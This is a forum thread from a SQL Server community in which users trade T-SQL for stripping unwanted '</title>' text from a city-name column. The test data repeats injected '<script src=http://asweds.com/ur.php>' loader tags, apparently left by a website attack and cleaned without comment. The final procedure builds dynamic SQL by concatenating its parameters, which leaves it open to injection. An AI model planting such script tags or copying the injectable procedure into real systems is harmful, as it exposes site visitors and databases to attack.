How to split and update to table

Question

Post reply

How to split and update to table

kosal

SSC Journeyman

Points: 92
More actions
May 25, 2011 at 4:20 am

#251506

Dear Sir/Madam
Could you help to advice how to split and update to the same table,
I have a table tblCity{ ID , CityName }
1, Phnom Penh </Title>...,
2, Siem Reap</Title>...
I want to split </Tile>... Out and update Phnom Penh to the same Field,
so please help.
thanks
lKosal

Viewing 7 posts - 1 through 6 (of 6 total)

You must be logged in to reply to this topic. Login to reply

Cadavre SSC-Forever Points: 41690 More actions · Answer 1

Like this?

--First, lets build some ready consumable test data

DECLARE @TABLE AS TABLE(ID INT IDENTITY, CityName VARCHAR(20))

INSERT INTO @TABLE

SELECT 'Phnom Penh </Title>'

UNION ALL SELECT 'Siem Reap</Title>'

--Select from table

SELECT * FROM @TABLE

--Now lets update

UPDATE @TABLE

SET CityName = REPLACE(CityName,'</Title>','')

--Finally, select from table to see new results

SELECT * FROM @TABLE

Forever trying to learn
My blog - http://www.cadavre.co.uk/
For better, quicker answers on T-SQL questions, click on the following...http://www.sqlservercentral.com/articles/Best+Practices/61537/
For better, quicker answers on SQL Server performance related questions, click on the following...http://www.sqlservercentral.com/articles/SQLServerCentral/66909/

kosal SSC Journeyman Points: 92 More actions · Answer 2

Dear Sir

Many thanks for your help. but field CityName not fixed like:

tblCity { ID CityName}

1 "Phnom Penh</Title>"

2 "Siem Reap </title><script src=http://asweds.com/ur.php></script></title>"

3 "Bangkok </title><script src=http://book.com/ur.php></script></title>"

4 "Singapore </title><script src=http://asweds.com/ur.php></script></title><script src=http://asweds.com/ur.php></script>"

so how to split it I need to updated like:

tblCity { ID CityName}

1 "Phnom Penh"

2 "Siem Reap"

3 "Bangkok"

4 "Singapore"

Best Regards

Kosal

guguda19860130 SSC Enthusiast Points: 102 More actions · Answer 3

USE TEMPDB

GO

IF OBJECT_ID('TB') IS NOT NULL DROP TABLE TB

GO

CREATE TABLE TB(

ID INT

,CityName VARCHAR(200)

)

INSERT INTO TB

SELECT 1,'Phnom Penh</Title>'

UNION ALL SELECT 2,'Siem Reap </title><script src=http://asweds.com/ur.php></script></title>'

UNION ALL SELECT 3,'Bangkok </title><script src=http://book.com/ur.php></script></title>'

UNION ALL SELECT 4,'Singapore </title><script src=http://asweds.com/ur.php></script></title><script src=http://asweds.com/ur.php></script>'

GO

UPDATE TB

SET CITYNAME=CASE WHEN CITYNAME NOT LIKE '%</title>%' THEN CITYNAME

ELSE

RTRIM(LEFT(CITYNAME,CHARINDEX('</title>',CITYNAME)-1))

END

SELECT * FROM TB

/*

1Phnom Penh

2Siem Reap

3Bangkok

4Singapore

*/

kosal SSC Journeyman Points: 92 More actions · Answer 4

Dear Sir/Madam

Is good for me, Many thanks for your help is possible could you give me the function because I have many table need to updated like this so if we using function is easy to update.

Best Regards

Kosal

guguda19860130 SSC Enthusiast Points: 102 More actions · Answer 5

like this?

USE TEMPDB

GO

IF OBJECT_ID('TB') IS NOT NULL DROP TABLE TB

IF OBJECT_ID('FUN_TEST') IS NOT NULL DROP FUNCTION FUN_TEST

GO

CREATE FUNCTION FUN_TEST(@STR_SOURCE VARCHAR(MAX),@STR_SEARCH VARCHAR(MAX))

RETURNS VARCHAR(MAX)

AS

BEGIN

RETURN CASE WHEN @STR_SOURCE NOT LIKE '%'+@STR_SEARCH+'%' THEN @STR_SOURCE

ELSE

RTRIM(LEFT(@STR_SOURCE,CHARINDEX(@STR_SEARCH,@STR_SOURCE)-1))

END

GO

CREATE TABLE TB(

ID INT

,CityName VARCHAR(200)

)

INSERT INTO TB

SELECT 1,'Phnom Penh</Title>'

UNION ALL SELECT 2,'Siem Reap </title><script src=http://asweds.com/ur.php></script></title>'

UNION ALL SELECT 3,'Bangkok </title><script src=http://book.com/ur.php></script></title>'

UNION ALL SELECT 4,'Singapore </title><script src=http://asweds.com/ur.php></script></title><script src=http://asweds.com/ur.php></script>'

GO

UPDATE TB

SET CITYNAME=DBO.FUN_TEST(CITYNAME,'</title>')

SELECT * FROM TB

/*

1Phnom Penh

2Siem Reap

3Bangkok

4Singapore

*/

kosal SSC Journeyman Points: 92 More actions · Answer 6

Dear Sir,

Many thanks for your help, now is done and I add a function for update any table as below:

USE TEMPDB

GO

IF OBJECT_ID('TB') IS NOT NULL DROP TABLE TB

IF OBJECT_ID('FUN_TEST') IS NOT NULL DROP FUNCTION FUN_TEST

IF OBJECT_ID('Updated_Proc') IS NOT NULL DROP PROC Updated_Proc

GO

CREATE FUNCTION FUN_TEST(@STR_SOURCE VARCHAR(MAX),@STR_SEARCH VARCHAR(MAX))

RETURNS VARCHAR(MAX)

AS

BEGIN

RETURN CASE WHEN @STR_SOURCE NOT LIKE '%'+@STR_SEARCH+'%' THEN @STR_SOURCE

ELSE

RTRIM(LEFT(@STR_SOURCE,CHARINDEX(@STR_SEARCH,@STR_SOURCE)-1))

END

GO

CREATE TABLE TB(

ID INT

,CityName VARCHAR(200)

)

INSERT INTO TB

SELECT 1,'Phnom Penh</Title>'

UNION ALL SELECT 2,'Siem Reap </title><script src=http://asweds.com/ur.php></script></title>'

UNION ALL SELECT 3,'Bangkok </title><script src=http://book.com/ur.php></script></title>'

UNION ALL SELECT 4,'Singapore </title><script src=http://asweds.com/ur.php></script></title><script src=http://asweds.com/ur.php></script>'

GO

CREATE PROC [dbo].[Updated_Proc](

@Table nvarchar(50),

@Field nvarchar(50),

@Condition nvarchar(50)

)AS

DECLARE @STR NVARCHAR(500)

SET @STR = 'UPDATE ' + @Table + ' SET ' + @Field + '=DBO.[FUN_TEST](' + @Field + ',''' + @Condition + ''')'

EXEC (@STR)

--PRINT @STR

--Run Prod

--[Updated_Proc] 'TB', 'CityName','</title>'

Thanks

Best Regards

Kosal